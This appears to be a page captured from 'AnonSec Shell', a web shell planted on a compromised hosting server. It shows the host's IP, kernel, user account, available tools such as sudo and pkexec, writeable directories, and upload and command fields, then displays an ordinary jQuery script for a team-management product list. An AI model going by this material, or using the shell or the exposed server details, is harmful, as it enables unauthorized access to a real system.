AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.46
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/./www/lrsys_apps/marisol/application/plugins/module_teammanagement/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/./www/lrsys_apps/marisol/application/plugins/module_teammanagement/assets/js/ar-list.js
$(document).ready(function ()
{
    var url = $('#_url').val();

    $('#filter-clear').on('click', function (event) {
        event.preventDefault();
        $("#store_id").val('');
        $("input[name=situation]").val('');
        $('#form-filter').submit();
    });
    $('[data-toggle="tooltip"]').tooltip();

    $('#items_per_page').on('change', function(event) {
            event.preventDefault();
            var items = $(this).find('option:selected').val();
            $("input[name=items_per_page]").val(items);
            $('#form-filter').submit();
    });

    $('#filter-situation a').on('click', function(event) {
        event.preventDefault();
        var situation = $(this).data('val');
        $("input[name="+$(this).data('type')+"]").val(situation);

        $('#form-filter').submit();
    });
    $('#store_id').on('change', function(event) {
        event.preventDefault();
        $('#form-filter').submit();
    });

    findDataSelect("#store_id",'contacts/ajax-listbytype/PJ', '');

    $('input[type=checkbox]').on('change', function () {
         var tr= $(this).closest('tr');
    
        var checked = $(this).is(':checked') ? 1 : 0;
        $.post(url + 'module_teammanagement/product/updateSituation/', {
            id: $(this).attr("data-id"),
            situation: checked
        })
        .done(function (data) {
            var obj = JSON.parse(data);
            if (obj.status == 'OK') {
             
                if($("input[name=situation]").val()!='all'){
                   location.reload();
                }
               // location.reload();
                toastr.success(obj.msg);
            } else {
                toastr.error(obj.msg);
            }
        });
    });



});

Anon7 - 2022
AnonSec Team